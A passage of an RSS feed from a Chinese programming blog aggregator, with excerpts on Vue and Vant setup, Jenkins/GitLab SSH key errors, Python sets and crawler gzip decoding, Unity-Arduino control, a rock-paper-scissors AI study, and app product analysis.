PyOpenGL-3.1.5-cp37-cp37m-win_amd64.whl等待安装完成即可，这样就可以在python中使用OpenGL。&#xA;示例代码结果：</description>
    </item>
    <item>
      <title>vantUI在vue2.x项目中的安装和使用</title>
      <link>https://bchobby.github.io/posts/62eee3379327d73cb79cfd5e593079eb/</link>
      <pubDate>Mon, 07 Dec 2020 11:10:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62eee3379327d73cb79cfd5e593079eb/</guid>
      <description>安装 第一步：npm i vant --save&#xA;第二步安装vant plugin：npm i babel-plugin-import -D&#xA;第三步： 配置样式&#xA;// vue2.x在.babelrc文件中添加： &#34;plugins&#34;:[ [&#34;import&#34;, { &#34;libraryName&#34;: &#34;vant&#34;, &#34;libraryDirectory&#34;: &#34;es&#34;, &#34;style&#34;: true }] ] // 如果本身有plugins了，则应该为： &#34;plugins&#34;:[ &#34;transform-vue-jsx&#34;, &#34;transform-runtime&#34;, // 这里要保留，否则会报错 [&#34;import&#34;, { &#34;libraryName&#34;: &#34;vant&#34;, &#34;libraryDirectory&#34;: &#34;es&#34;, &#34;style&#34;: true }] ] 使用 https://www.w3cschool.cn/vantlesson/</description>
    </item>
    <item>
      <title>石头剪刀布程序流程图_连“石头剪刀布”，人类也玩不过AI了</title>
      <link>https://bchobby.github.io/posts/7d73a26589f4c80ad91c2a7dd341e93a/</link>
      <pubDate>Mon, 07 Dec 2020 00:22:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d73a26589f4c80ad91c2a7dd341e93a/</guid>
      <description>如果说有一种解决问题的方法能跨域文化、种族和地域，那么除了抽签这种纯靠运气的方式，恐怕只剩下猜拳了。&#xA;人们普遍认可 “石头-剪刀-布” 三者之间的克制关系。“公平+随机” 的特性使其不仅是活跃气氛的小游戏，更能作为一种相对公平的解决问题的手段，广泛应用在解决分歧，决定顺序，或者确定归属的关键时刻。&#xA;更不用说，在谁洗碗、谁拖地、谁做饭之类的家务活上，猜拳自带的 “愿赌服输” 可以有效维系家庭和睦，堪称随叫随到的家庭关系调解员。&#xA;在大多数人的认知里，猜拳是随机事件，玩家获胜的概率应该是一样的且恒定在三分之一，但事实可能并非如此。&#xA;近日，浙江大学何赛灵教授的研究团队开发了一个基于马尔可夫链的 AI 模型，专门用来玩猜拳游戏。在和 52 名人类玩家分别大战 300 回合之后，AI 击败了 95% 的玩家。&#xA;图 | AI 模型净胜场数变化&#xA;对于人类玩家来说，规则是赢 +2 分，平 +1 分，输不得分。在与 AI 对战之前，参与者知道获胜会获得金钱奖励，总分越高，赢的钱越多。因此玩家故意放水或者随便乱选的概率极低。&#xA;即便如此，AI 仍然大胜人类。在最悬殊的一场较量中，AI 获得了 198 次胜利，55 次平手，仅输了 47 次，胜率超过人类对手 4 倍。全部 15600 回合详尽的原始博弈数据，在论文的补充资料中给出（详见参考文献）。如果猜拳胜负真的是随机概率，那么从统计学的角度来讲，15600 场比赛下来，AI 获得如此大优势的概率非常低。&#xA;拥有“智囊团”的Multi-AI模型 本质上来看，猜拳属于博弈问题，其背后蕴藏着经典的纳什均衡，而每个个体的习惯、认知、策略和策略变化都会影响实际胜率。比如你和对手很熟悉，那么你可能知道他/她经常出布，因此可以多出剪刀来克制。&#xA;浙江大学何赛灵教授团队提出的 AI 模型就是利用了类似的方法，证明了猜拳真的存在针对不同个体的长期制胜策略，可以有效提高胜率。&#xA;这套 AI 模型基于 n-阶马尔可夫链设计，拥有记忆性，能够向前追溯最多 n 个历史状态并加以利用。&#xA;为了在实战中应对人类玩家的不同性格和策略，研究团队还发明了一套 Multi-AI 模型。&#xA;“建立对每个人都有效的单一模型很困难，因此我们决定将单个模型结合起来，使其能够区分和适应更多不同的竞争策略。” 研究人员在论文中解释称。在与人类对战的第一套 Multi-AI 模型中，他们放入了 1-5 阶马尔可夫链，即 5 个独立的 AI 模型，分别参考之前 1-5 个动作。Multi-AI 会从整体上参考 5 个 AI 模型各自的决策，至于选择哪个，还要看它们最近 5 次的表现。</description>
    </item>
    <item>
      <title>Jenkins创建项目，连接Gitlab出现`returned status code 128`错误</title>
      <link>https://bchobby.github.io/posts/12df122599197df9561012d981cc5161/</link>
      <pubDate>Sun, 06 Dec 2020 17:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12df122599197df9561012d981cc5161/</guid>
      <description>最近需要用到jenkins进行自动化测试。但是在添加项目时，进行“源码管理”时，提示指定Git源代码时提示无权限,错误提示如下：&#xA;环境：win10&#xA;仓库：Gitlab&#xA;报错：&#xA;Failed to connect to repository : Command &#34;git -c core.askpass=true ls-remote -h git@XXXXX:XXXX/XXXX.git HEAD&#34; returned status code 128: stdout: stderr: Permission denied, please try again. Permission denied, please try again. Permission denied (publickey,password). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 最初我将Gitlab生成的Access Token复制进去，Add Jenkins，发现依旧是错误。于是参考了两篇文章，问题解决。&#xA;解决方法： mac解决方法，如果是win，使用 Git 软件可运行&#xA;id_rsa。这个是私钥文件。id_rsa.pub。这个是公钥文件，需要配置到GitHub上面。 1）先查看是否有id_rsa 和id_rsa.pub文件&#xA;ls ~/.ssh</description>
    </item>
    <item>
      <title>vm options什么意思_解剖new Vue 过程具体发生了什么（一）</title>
      <link>https://bchobby.github.io/posts/ee13c500a760d17d04b91b79c4c0f534/</link>
      <pubDate>Sun, 06 Dec 2020 16:36:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee13c500a760d17d04b91b79c4c0f534/</guid>
      <description>废话少说&#xA;Vue如何实现双向绑定， Vue如何实现{{...}}模板渲染，为何用过Vue的人都说说它好用，今晚八点前端扫盲带你一起解剖Vue。&#xA;new Vue&#xA;故事要从new Vue开始讲起，如下：&#xA;于是我们直接从源码中找到Vue构造函数位置&#xA;这里先判断是否通过new 来创建Vue实例，如果我们直接调用Vue()，则会报warn里面错误。然后this._init(options)初始化相关事务。在构造函数下面还有几个mixin(混入)初始化代码，应该是定义了Vue原型对象上的一些方法，我们下一个个点进去看下具体有哪些实现，方便后面讲解。&#xA;在这个initMixin(Vue)里面：&#xA;Vue.prototype对象上定义了_init字段&#xA;在stateMixin(Vue)里面：&#xA;Vue.prototype对象上定义了$data、$props、$set、$delete、$watch字段，具体作用后面再一一突破&#xA;在eventsMixin(Vue)里面：&#xA;Vue.prototype对象上定义了$on、$once、$off、$emit字段&#xA;在lifecycleMixin(Vue)里面：&#xA;Vue.prototype对象上定义了_update、$forceUpdate、$destroy字段&#xA;在renderMixin(Vue)里面：&#xA;Vue.prototype对象上定义了$nextTick、_render字段&#xA;综上整理下Vue.prototype的所有字段有：&#xA;Vue.prototype = { _init: Function, // 初始化工作 $data: Object, // 传入实例的data对象，经过代理后的 $props: Object, // 父组件传入数据对象 $set: Function, // 实现为响应式对象新增 property 同样是响应式的 $delete: Function,// 删除响应式对象的 property，确保删除能触发更新视图 $watch: Function, // 监听响应式对象的 property 变更 $on: Function, // 为实例添加一个订阅，相同订阅名不会覆盖会叠加 $once: Function, // 为实例添加一个订阅，只会被触发一次 $off: Function, // 为实例解除订阅 $emit: Function, // 为实例触发指定订阅 _update: Function, // 更新实例视图 $forceUpdate: Function, // 强制更新实例视图 $destroy: Function, // 销毁实例 $nextTick: Function, // 将回调函数放到微队列中执行，确保获取到的dom是最新的，没有回调则返回一个Promise _render: Function, // 触发render(new Funtion生成的)函数，生成虚拟dom} 其中&#34;</description>
    </item>
    <item>
      <title>honey select2人物捏脸_《一梦江湖》捏脸大佬神作频繁放出！清冷，欧美厌世美人有望上位...</title>
      <link>https://bchobby.github.io/posts/82dae6d2fe9f94e6619b4441ee9c4467/</link>
      <pubDate>Sun, 06 Dec 2020 16:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82dae6d2fe9f94e6619b4441ee9c4467/</guid>
      <description>自《一梦江湖》(原《楚留香》)于去年对江湖进行了一次全面的翻新后，《一梦江湖》新生版就出现在了我们的眼前。美术重置后的江湖焕然一新，3.0版捏脸系统使得江湖人的脸蛋更为细腻，更有个性！&#xA;单论3.0版捏脸，从肤质，到眼妆、唇妆、妆容等方面的效果都得到了显著提升，人物角色很真实细腻，可谓是精益求精，下足了功夫。为此，《一梦江湖》凭借着过硬的捏脸品质，笼络了不少玩家的心，尤其是拥有一身捏脸绝技的大佬们。&#xA;于是，这些大佬们利用捏脸系统打造了不少具有个性化，有特色的脸蛋，比如阿凡达，黑皮美人！当然这种在时下已经属于司空见惯了。而且由于我们中国传统的审美观念，还是忠于东方美，但是也有玩家捏出了中西合璧的脸蛋，于东方韵味中透出露出了欧美的厌世，请看下图↓↓↓&#xA;标配的白皮，脸部轮廓鲜明，两眼深邃，鼻梁高挺，标准的欧洲人外貌特征，还有楼下这一张，黑发面纱下的她更具有一种神秘气息，还有一丝丝高冷，难以靠近！&#xA;当然，除了五官立体，脸部轮廓鲜明的欧美脸蛋，还有不少玩家捏出了我们中国独有韵味的东方脸，还有一点点清冷，俗称清冷美人！&#xA;比起欧美的金发，玩家更喜欢中国武侠剧里的红衣白发美人，尤其是之前看的林青霞饰演的东方不败，。不过，这里，捏脸大佬没有利用红衣的张扬，而是用了高贵金，不过白发依旧是白发，发饰一贯中国古风，五官没有欧美那么立体，但是柳叶眉，细长眼，樱桃小嘴都有了，这不就是东方美人的特征么？瞅瞅下图，满屏忧郁气质！&#xA;还有这一张，拥有着我们亚洲的黑发，黄皮肤，细长眼，樱桃小嘴，惊鸿一瞥下，自带的忧郁气息徐徐散开来，就只有这一眼，便不敢再多相看一眼。&#xA;很多小伙伴们在后台表示自己的捏脸技术远不及这些大佬，在这里，小编可以建议可以选择官方给出的预设脸。我们可以在游戏中选择自己喜爱的预设脸进行发色、发型、瞳孔颜色、唇色等细节处的调整，将其打造成自己的专属脸型也不是不可以！&#xA;另外，你也可以直接通过AI系统，选择自己喜欢的照片一键导入，都可以在游戏中完美展现，无论是爱豆还是动漫角色，都可！话说，你的女鹅都长什么样呢？</description>
    </item>
    <item>
      <title>高德地图哪个语音包最好_高德地图景点语音导览分析&amp;优化</title>
      <link>https://bchobby.github.io/posts/f30de4708cc0197b3b18e7a74248f904/</link>
      <pubDate>Sun, 06 Dec 2020 09:21:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f30de4708cc0197b3b18e7a74248f904/</guid>
      <description>本文主要分析景点语音导览的目标人群是谁，解决了用户的什么问题。如果我是产品，下一次迭代我会怎么做？&#xA;景点语音导览的目标人群是谁，解决了用户的什么问题 痛点：&#xA;景区内请导游花费太大；自己查攻略需要花费很多精力；景区景点多、路线复杂不知道怎么走好。 目标用户：&#xA;自助游；期望一定程度了解景点相关知识(历史背景等)；不用花费太多时间和精力去查询搜索相关知识(比如总统府里面的景点有十几个，不需要走到哪里百度去搜相应的景点名称获取相关)；期望花费较低(比请导游、买手册书等便宜)。 总结一下，目标用户是希望以很低的价格、较少的精力获取游玩景点的相关知识且不知道如何规划游览路径的游客。&#xA;高德景点语音 假设用户就是冲着语音导览去的，咱先画一个很极其简单的流程图模拟用户使用的过程：&#xA;这个流程很简单，就不用流程图了。&#xA;搜索–&amp;gt; 有导览 -&amp;gt; 导览列表选一个 -&amp;gt; 购买或者分享获赠搜索–&amp;gt; 没有导览 -&amp;gt; 缺省上报 没导览理论上是缺省提示，可以通过让用户上报，收集有需求做导览倒是目前还没有的地方，不过这个貌似牵扯到上层商业合作(？)，就先不说啦~咱就说有导览的情况下，用户会依次遇到的问题。&#xA;问题1：&#xA;用户是否能很容易地知道某个景区有导览？也就是说导览是否在非常明显的表层，用户非常好获知，而不是藏很深？不然花了大价钱主推的东西就失去意义了。&#xA;咱们来看看搜索后的页面：&#xA;搜索之后页面(左)下半部分的景区介绍就有导览推荐(介绍)，点击后详情页面(右)tab页的第一个也是语音，非常吸引注意力。&#xA;问题2：&#xA;同一个景点会提供多个语音包供用户选择的情况下，页面是否给出了足够的有效信息，能让用户知道自己想选哪个？&#xA;我们先来看看高德语音导览列表页和详情页提供了哪些信息(这里没有一个完整的导览详情页，我只能把和导览相关的页面都截进来)。&#xA;列表 -&amp;gt; 选中某个语音导览&#xA;亮点：&#xA;(上图1)列表页有直接的试听入口，减少用户体验语音导览的步骤。(上图2)跟随播能根据用户定位自动播放最近景点导览，无需用户点击。(上图2)推广初期，通过邀请好友点赞免费听做推广(不过这个算运营？) 槽点：给出信息不足以帮助用户做出挑选导览的选择(后面详细分析)。&#xA;期望的点：&#xA;(上图2)能够根据导览(或者写死的)给用户一条合适的路线，不然景点一盘散沙，并不知道怎么走怎么玩。导览就是一个给了游客极高自由度且价格极友好的“导游”，导游的任务有三：带路；讲解；答疑。其实导游是起主导和带领作用的，而跟随播虽好，依然是让用户主导，用户还要想我怎么玩。Don’t make me think!&#xA;(上图2)重点景点和非重点景点能标识出来，让用户能取舍。&#xA;(上图3)每个音频都能有点赞或者评论，因为有时候可能并不是传统意义的“必游”景点，但是可能讲解人的内容是被大家所喜欢的(比如野史)。但是貌似感觉这样做就太细了？先不搞了吧。&#xA;(上图4)倍速播放。有调查(没调查)表明：各大视频网站用倍速功能的人和愿意用导览的用户高度重读重合，所以倍速可做。&#xA;槽点分析：有没有觉得听导览有种上课的感觉，想起了焦虑地在网上选产品课程的我们(哭)。那产品课程这么多，别人提供了主要哪些信息，让用户给选择的呢？&#xA;老师背景(通常会说BAT背景，n年经验的背景；扎实的北京是不是很加分很踏实)课表内容覆盖面(比如从竞品分析到项目管理甚至教你怎么跟研发沟通)价格合适或者有优惠活动(常发优惠券，但是最终价格只能是同行衬托了，都挺贵o(╥﹏╥)o)试听机会(能够对老师风格有一定的了解，看是否适合自己)课后指导(有互动和反馈帮助提高)内推机会(毕竟现在简历容易石沉大海，内推至少有个面试机会)毕业证书(多少算个证书(*^▽^*))往期学员评价(用过的说好才是真的好)数字表现(**人听过这个课，**人觉得课很赞，**人拿到Offer) 再回到导览上来，是不是能够一一对应呢？&#xA;*讲解人背景介绍(比如知名学者马未都，没名气也可以用“**”旅行社10年导游等作为标签)*语音覆盖面(内容丰富程度只能靠讲解人了，产品上能给的就是讲解的景点数)*价格便宜，前期推广可以通过邀请返现或者邀请免费听的形式促进拉客*试听机会(有啦)课后指导(唔？以后可以在完成导览后出一道题目，回答对抽奖，能抽到打车券，餐饮券等，毕竟在外面旅游是需要这些的)毕业证书(比如通过用户行为(比如定位离开该景区)完成一个景点的游览后，弹出用户听了**分钟讲解，了解了**个历史人物，知道了**段故事等的一张图，可以分享一波？这里先不搞了)*用户评价(侧面了解讲解人风格和内容的受大众欢迎的程度) (*优先级较高的)&#xA;低保真结果 基于上面的各个点，延续现在基本的逻辑和页面，加上一点点改动，就可以画个粗略版的低保真啦~&#xA;从列表页进来&#xA;点击详情后三个tab页&#xA;点击“礼品”图标可参与答题&#xA;提取一下关键信息展示到列表页面&#xA;本文由 @韩大妹子 原创发布于人人都是产品经理。未经许可，禁止转载&#xA;题图来自Unsplash，基于CC0协议</description>
    </item>
    <item>
      <title>以下是一段python代码、请设计测试用例_【Python】接口自动化测试自测题</title>
      <link>https://bchobby.github.io/posts/36f4456ea9900c78075dbaca7d6565f4/</link>
      <pubDate>Sun, 06 Dec 2020 07:23:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36f4456ea9900c78075dbaca7d6565f4/</guid>
      <description>文章目录&#xA;json和字典的区别？&#xA;你做接口自动化测试时，测试数据放哪里？&#xA;什么是数据驱动？&#xA;excel中如何设计你的用例？&#xA;excel中的数据怎么拿出来？&#xA;如果有些接口做了鉴权(需要鉴定权限)，怎么实现这些接口的自动化测试？&#xA;首先需要明确接口是通过什么机制来实现的鉴权&#xA;1) 如果是通过会话id(JSESSIONID)来实现鉴权的，那么先调用完登录接口--》拿到它返回的这个数据--》存储起来--》后面再调用其他接口的时候直接带上这个数据过去就可以了。&#xA;2) 如果是通过token来实现鉴权的，那么同样只需要在调用完登录接口--》拿到它返回的这个数据--》存储起来，后面操作同上。先回答上面的一个基本实现步骤，然后再补充以下一些实现细节：&#xA;a. 怎么取到这个JSESSIONID或者token这个信息怎么取首先得明白它是怎么返回来的，可能为以下两种方式：&#xA;b. 怎么存储这个JSESSIONID或者token&#xA;c. 请求其他需要鉴权的接口时，怎么带过去这个数据先找开发人员确认，再调用需要鉴权的这些接口怎么携带这个鉴权的信息(票)。一般不外乎这么几种：&#xA;什么是会话？&#xA;什么是token？&#xA;某个接口请求，参数依赖上个接口的返回数据，怎么处理(接口关联)？&#xA;接口调用依赖第三方的接口b，而b接口还未提供给你，如何处理？&#xA;接口测试的垃圾数据如何清理？&#xA;你做接口自动化，项目用的是什么数据库，用什么来操作的这个数据库&#xA;你做接口自动化时怎么做的数据验证&#xA;如何提升测试套件的执行效率&#xA;你用过单元测试框架吗，是什么框架，有哪些常用操作？&#xA;说说你对接口的理解&#xA;做过接口测试吗，有哪些熟悉的工具。&#xA;接口常见的请求方法有哪些？&#xA;请简单说一说get、post这两种请求方法的区别？&#xA;在浏览器中输入URL，回车之后发生了什么？&#xA;将列表a = [&#34;h&#34;,&#34;e&#34;,&#34;l&#34;,&#34;l&#34;,&#34;o&#34;]拼接成字符串，请用多种方法实现&#xA;存在一个名称为data.log的文件，data.log中的内容是以逗号作为分隔符的，&#xA;json和字典的区别？&#xA;Json是轻量级的数据交互格式，以key-value的键值对形式来保存数据，结构清晰，可以说是目前互联网项目开发中最常用的一种数据交互格式。&#xA;字典，同样是以key-value的键值对来保存数据，是python中的一种数据类型。&#xA;你做接口自动化测试时，测试数据放哪里？&#xA;对于一些基础配置比如数据库配置可以放到properties文件(yaml文件，没用过就别拓展了)&#xA;接口测试需要用到的数据可以放数据库表，也可以放到excel中。&#xA;什么是数据驱动？&#xA;数据驱动就是通过excel，或者xml，数据库等数据结构来维护测试数据，通过相应的技术去处理，拿到测试数据用于测试，从而实现测试数据与代码的解耦，数据驱动测试的本质是高级的参数化。&#xA;excel中如何设计你的用例？&#xA;所有的接口信息维护在一个表单&#xA;关于接口的用例数据维护在一个表单&#xA;接口传参一列来传，通过构造json格式的字符串即可解决传多个参数的问题，同时提升了用例的可维护性&#xA;excel中的数据怎么拿出来？&#xA;通过第三方库openpyxl来完成，项目只需要引入openpyxl库，通过它提供的api即可完成对于excel的操作，甚至于我们自己也可以做一些二次封装，使得操作更方便。一行数据就是一个用例。&#xA;如果有些接口做了鉴权(需要鉴定权限)，怎么实现这些接口的自动化测试？&#xA;首先需要明确接口是通过什么机制来实现的鉴权&#xA;1) 如果是通过会话id(JSESSIONID)来实现鉴权的，那么先调用完登录接口–》拿到它返回的这个数据–》存储起来–》后面再调用其他接口的时候直接带上这个数据过去就可以了。&#xA;2) 如果是通过token来实现鉴权的，那么同样只需要在调用完登录接口–》拿到它返回的这个数据–》存储起来，后面操作同上。先回答上面的一个基本实现步骤，然后再补充以下一些实现细节：&#xA;a. 怎么取到这个JSESSIONID或者token这个信息怎么取首先得明白它是怎么返回来的，可能为以下两种方式：&#xA;登录接口的响应头&#xA;登录接口的响应报文需要找开发确认，不同方式不同取法。&#xA;b. 怎么存储这个JSESSIONID或者token&#xA;文件中(excel、properties文件都可以)&#xA;数据库&#xA;代码里面自己定义的公共静态变量，作为一个共享的数据&#xA;c. 请求其他需要鉴权的接口时，怎么带过去这个数据先找开发人员确认，再调用需要鉴权的这些接口怎么携带这个鉴权的信息(票)。一般不外乎这么几种：&#xA;拼接在url上传过去用于服务器验证&#xA;设置到请求体中</description>
    </item>
    <item>
      <title>python新年快乐代码_新年快乐! python实现绚烂的烟花绽放效果</title>
      <link>https://bchobby.github.io/posts/20d0d00a8e5dec61d820d16d7ce9d213/</link>
      <pubDate>Sat, 05 Dec 2020 22:27:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d0d00a8e5dec61d820d16d7ce9d213/</guid>
      <description>做了一个Python的小项目。利用了一点python的可视化技巧，做出烟花绽放的效果，文章的灵感来自网络上一位大神。&#xA;一.编译环境&#xA;Pycharm&#xA;二.模块&#xA;1.tkinter：这个小项目的主角，是一个python图形模块。且Python3已经自带了该模块，不用另外安装。它有点像java中的swing图形模块(由众多组件集成，组件通过创建实例添加，组件通过坐标定位在窗口上)。&#xA;2.PIL：Python Imaging Library，是Python平台的图像处理标准模块。在Python3也是自带的，在这个项目中用于背景图片的导入。&#xA;3.time：相信这个模块大家都不会陌生，导入它用来控制烟花的绽放，坠落及消失时间。&#xA;4.random：随机数模块，用于生成烟花随机坐标点，随机绽放速度，随机消失时间。&#xA;5.math：这个模块大家应该也很熟悉了，导入它的目的是使烟花绽放的粒子以一定角度散开。&#xA;三.效果&#xA;项目最终实现的效果就跟上面一样了。&#xA;四.代码&#xA;以下是我学习(copy)了那位大神的代码，再添加了一些浅显的注解。&#xA;import tkinter as tk&#xA;from PIL import Image,ImageTk&#xA;from time import time,sleep&#xA;from random import choice,uniform,randint&#xA;from math import sin,cos,radians&#xA;#重力变量&#xA;GRAVITY=0.5&#xA;#listof colors,can choose randomly or use as queue(FIFO&#xA;colors=[&#39;red&#39;,&#39;blue&#39;,&#39;yellow&#39;,&#39;white&#39;,&#39;green&#39;,&#39;orange&#39;,&#39;purple&#39;,&#39;seagreen&#39;,&#39;indigo&#39;,&#39;cornflowerblue&#39;]&#xA;&#39;&#39;&#39;&#xA;create a class for particles粒子&#xA;particles are emitted almost randomly on the sky,&#xA;forming around(组成一个圈) of circle(a star)before falling and getting removed from canvas</description>
    </item>
    <item>
      <title>Unity Arduino完美协作工具Uduino</title>
      <link>https://bchobby.github.io/posts/dbdc1d408f15d7bb9deac1b75792fcac/</link>
      <pubDate>Sat, 05 Dec 2020 11:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbdc1d408f15d7bb9deac1b75792fcac/</guid>
      <description>Unity Arduino完美协作工具之Uduino 前言环境搭建Unity插件导入部分Arduino代码上传部分Unity场景搭建部分硬件场景部分 控制代码使用效果注意事项 前言 盆友搞了个Uduino插件，正好手边有Unity和Arduino，用按钮和灯泡实现Unity控制Arduino与Arduino控制Unity。&#xA;感谢Arduino跟Unity通讯,我的按钮的标准写法&#xA;环境搭建 对如何导入插件有疑问的话，建议查看官方视频教程&#xA;视频教程: Connect Arduino to Unity in less than 1 minute - Uduino&#xA;Unity插件导入部分 将插件导入Unity&#xA;Arduino代码上传部分 将Uduino代码上传至Arduino&#xA;Unity场景搭建部分 一个Cube（添加刚体组件）与一个Plane&#xA;硬件场景部分 灯泡链接GND和11管脚&#xA;按键连接GND和2管脚&#xA;控制代码 using System; using System.Collections; using System.Collections.Generic; using Uduino; using UnityEngine; public class UduinoTest : MonoBehaviour { /// &amp;lt;summary&amp;gt; /// 小灯管脚 /// &amp;lt;/summary&amp;gt; int pin11; /// &amp;lt;summary&amp;gt; /// 按钮管脚 /// &amp;lt;/summary&amp;gt; int pin2; /// &amp;lt;summary&amp;gt; /// Arduino设备 /// &amp;lt;/summary&amp;gt; UduinoDevice arduinoDevice; public GameObject myCube; // Start is called before the first frame update void Start() { //当连接板子时触发 UduinoManager.</description>
    </item>
    <item>
      <title>python两个集合相减_python集合的运算，两个集合相减是什么意思</title>
      <link>https://bchobby.github.io/posts/384f827f30965a9bc9a65be5ee730fe5/</link>
      <pubDate>Sat, 05 Dec 2020 11:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/384f827f30965a9bc9a65be5ee730fe5/</guid>
      <description>﻿# 在对集合做运算时，不会影响原来的集合，而是返回一个运算结果&#xA;# 创建两个集合&#xA;s = {1,2,3,4,5}&#xA;s2 = {3,4,5,6,7}&#xA;# &amp;amp; 交集运算&#xA;result = s &amp;amp; s2 # {3, 4, 5}&#xA;# | 并集运算&#xA;result = s | s2 # {1,2,3,4,5,6,7}&#xA;# - 差集&#xA;result = s - s2 # {1, 2}&#xA;# ^ 异或集 获取只在一个集合中出现的元素&#xA;result = s ^ s2 # {1, 2, 6, 7}&#xA;# &amp;lt;= 检查一个集合是否是另一个集合的子集&#xA;# 如果a集合中的元素全部都在b集合中出现，那么a集合就是b集合的子集，b集合是a集合超集&#xA;a = {1,2,3}&#xA;b = {1,2,3,4,5}&#xA;result = a &amp;lt;= b # True</description>
    </item>
    <item>
      <title>Ubuntu远程连接显示错误Network error Connection refused解决方法</title>
      <link>https://bchobby.github.io/posts/36ddad0e2291e9e6ea7d42233eccad7d/</link>
      <pubDate>Sat, 05 Dec 2020 11:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36ddad0e2291e9e6ea7d42233eccad7d/</guid>
      <description>之前在通过Filezilla往虚拟机或者服务器上传送文件的时候都是十分顺利的，不过最近老是遇到“错误:Network error: Connection refused”，如下图所示。&#xA;此外还有“错误: 认证失败。”的错误，如下图所示，从而导致“错误:严重错误:无法连接到服务器”现象的发生。&#xA;其实这两个错误并不是同一个原因，所以需要对症下药，否则用药是不会起到效果的。&#xA;针对“错误: Network error: Connection refused”的问题，一般是因为Ubuntu刚刚安装好系统，系统中缺乏openssh-server这个包，只需要在Ubuntu中输入安装命令：sudoapt-get install openssh-server，便可以安装了，如下图所示。&#xA;待远程连接安装包安装好之后，再次尝试远程连接，确保用户名和密码是正确的，之后便可以连接上了，如下图所示。&#xA;针对“错误: 认证失败。”的错误通常是你的用户名或者密码不正确，远程连接是没有问题的，此时如果确认登录密码没有错误的话，很可能是你自己的用户名出错了。&#xA;一般的，我们在安装Ubuntu系统的时候，通常会设置用户名为root，但是也有的时候我们会自定义的去设置用户名，如小编的虚拟机名字就是dcpeng，如果选择root用户登录的话，肯定就会出现“错误:认证失败。”的问题，如下图所示。&#xA;解决方法也很简单，将用户名改为自己设定的用户名即可，本例中是dcpeng，设置好之后，再次尝试连接，便可以顺利的连接上了，如下图所示。&#xA;本文主要是给Linux系统初学者容易遇到的远程登录问题做个简单的总结，希望后来者遇到相对应的问题可以顺利解决，对症下药，而不是选择重新卸载虚拟机，再重新安装系统，这样就事倍功半啦~~&#xA;日后小伙伴们可能会通过Filezilla、Putty、Xftp、SecureCRT等远程连接工具遇到类似的问题时，都可以借鉴该方法，举一反三。&#xA;想学习更多Python网络爬虫与数据挖掘知识，可前往专业网站：http://pdcfighting.com/ 想学习更多Python网络爬虫与数据挖掘知识，可前往专业网站：http://pdcfighting.com/</description>
    </item>
    <item>
      <title>python invalid start byte_python爬虫程序中:&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid st...</title>
      <link>https://bchobby.github.io/posts/f8d38d12a0f93ee0623867608d23c560/</link>
      <pubDate>Sat, 05 Dec 2020 09:31:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8d38d12a0f93ee0623867608d23c560/</guid>
      <description>importurllib.requestimporturllib.parse&#xA;url=&#34;http://www.shuquge.com/txt/152/index.html&#34;headers={&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko&#39;,&#xA;}&#xA;with open(&#39;perfect_world.html&#39;,&#39;w&#39;,encoding=&#39;utf-8&#39;) as fp:&#xA;fp.write(res.read().decode())&#xA;在执行上面的代码过程中，遇到问题：&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte.&#xA;分析原因：&#xA;分析过程如下:&#xA;①：在上面代码中，headers请求头中，并不包括：Accept-encoding请求头，请求的响应内容理应是未经压缩的原生数据。通过fiddler抓包查看request头部信息。&#xA;抓包信息如下&#xA;GET http://www.shuquge.com/txt/152/index.html HTTP/1.1Accept-Encoding: identity&#xA;Host: www.shuquge.com&#xA;User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko&#xA;Connection: close&#xA;从上面的请求头中我们看出Accept-Encoding:identify。在http协议中,Accept-Encoding：identify表示请求的响应数据是未压缩的。【如果请求头中没有&#34;Accept-encoding&#34;的头部信息，那么默认值为：Accept-Encoding:identify】排除request请求有误的原因。&#xA;②：分析response的响应内容。在fiddler抓包工具中，获取到了该request的响应。&#xA;由此找到了原因：响应数据是经过压缩之后的，由此造成了编码错误。压缩格式是Gzip格式，我们可以通过相应的算法进行解压。&#xA;然后问题又来了，为什么客户端请求的数据明明是未压缩的内容，而响应的数据是压缩过后的呢？？？&#xA;有些服务器在实现http协议时可能存在bug,不支持identify或者请求头中并没有发送Accept-Encoding,那么服务器倾向于使用http1.0中的&#34;gzip&#34;and&#34;compress&#34;,&#xA;服务器可能会按照客户端类型发送更合适的encoding类型。&#xA;在我们的爬虫程序中，请求中并没有Accept-Encoding，但是在请求头中我们表明了自身是：Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko类型的客户端浏览器，所以服务器给我们发送的是gzip格式的数据，在上面的python程序中，并没有涉及到相关的解压操作，导致数据编码操作出错。</description>
    </item>
    <item>
      <title>前端之路-用vscode写第一个html页面</title>
      <link>https://bchobby.github.io/posts/383d0af089a97adc9f6967cd41e1de49/</link>
      <pubDate>Sat, 05 Dec 2020 02:55:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/383d0af089a97adc9f6967cd41e1de49/</guid>
